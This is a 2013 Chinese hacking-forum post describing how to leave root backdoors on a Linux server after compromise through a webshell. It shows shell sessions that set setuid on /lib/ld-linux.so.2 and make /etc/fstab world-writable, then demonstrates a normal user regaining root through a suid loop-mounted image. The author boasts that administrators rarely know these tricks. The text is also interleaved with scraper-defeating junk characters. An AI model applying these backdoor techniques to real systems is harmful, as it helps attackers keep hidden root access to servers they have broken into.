找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3290|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
% r- |# n6 I, O( C* n4 n: G$ m* c/ U6 v: C
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究0 \7 T* s( s. k
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
* c2 i: E, T8 d) c" R) jlrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
+ T( Q' i* A/ f" y[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究# z$ ]4 H. X* n& z0 M
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究7 F2 X3 v. T" ~' ^6 j$ n* T
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究( ]& n( Z1 F" O% Q
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究( \# p' ?$ H% n, E6 Q2 p, T
[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究1 X7 C% Z+ A$ L8 q4 d0 r
我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究. x. g2 y3 o" r. L& l' ~2 m

: Q& B( k( r4 N% R4 {$ V2 _) u普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究
8 n' \/ q/ Q8 D5 q
$ r2 y! V, M+ Q5 N3 b6 A[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究
* ^" {4 B% X; e  Oxiaoyu2ezX-BUG-关注前沿信息安全技术研究
: D4 M( P0 D" _6 P+ h1 f[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究
7 C7 r- {  x! l3 \' _$ @9 b5 Kroot2ezX-BUG-关注前沿信息安全技术研究
: F9 f) n4 |3 o' T  _7 d6 F7 Z3 S[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究
2 N6 y( }; Y# ^# h. `7 D# Y' U* k恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究
+ c- v7 U+ W, s9 r5 l2 O* j
2 y; V7 X& l; ]4 D9 X, {方法二:2ezX-BUG-关注前沿信息安全技术研究
) j2 V/ D: H4 o% B
0 k9 F6 Y( ?& J看过程:2ezX-BUG-关注前沿信息安全技术研究
  [- Z1 G8 c' n; d9 g& m& a/ ~# A6 o
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究- r( T$ Y+ z- c) s! I
[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究* M. e! m; Q) B& A6 \: x- f1 t( R

3 J* W5 T8 H. E这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究
# S0 z7 I7 s8 z9 v& N$ M; k5 Z4 [. g/ b- T" p, _* X" o% w. a
[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究  E; g$ X* O2 ~
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
1 B1 Q6 l' L) @/ L  h. r8 a  G[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
  }% V8 [/ j9 |0 w: U4 ~5 V8 ^& [3 J0 L% E3 I6 T; \
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究3 ~2 S" H, s% H

3 ]* n: o$ A4 A( }% a$ |8 I9 F[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究
, n. F# N# C5 N$ `# E2 d; g' a! }-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究
& W" r3 ~6 z/ J4 P1 q) n9 s[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究* u/ r3 [9 |2 ^, ^! e
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究7 o, u9 D4 |4 m# L7 M8 S- {
[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究
7 f+ M1 m* _& t( @- j# Ytotal 182ezX-BUG-关注前沿信息安全技术研究- z7 P) {0 p$ q, {- I
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究0 d2 i9 W7 @0 ^; O& m
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究; b7 |, R* z( R( W0 u6 Y
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
/ H$ x) u- l/ R5 Vsh-3.2#2ezX-BUG-关注前沿信息安全技术研究6 c2 F7 \+ @1 z
看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究+ a4 `! D1 }" ^2 H  `% @, t
test这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究  Q9 s) w  p$ H; A. \, {4 K! v. F

, M7 l& u  S6 }貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究- n; o( B$ \) e( I  Z: B+ z
2ezX-BUG-关注前沿信息安全技术研究7 q7 K1 F; l4 g

7 F3 h5 P- W- `! p: a0 v+ v+ E
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表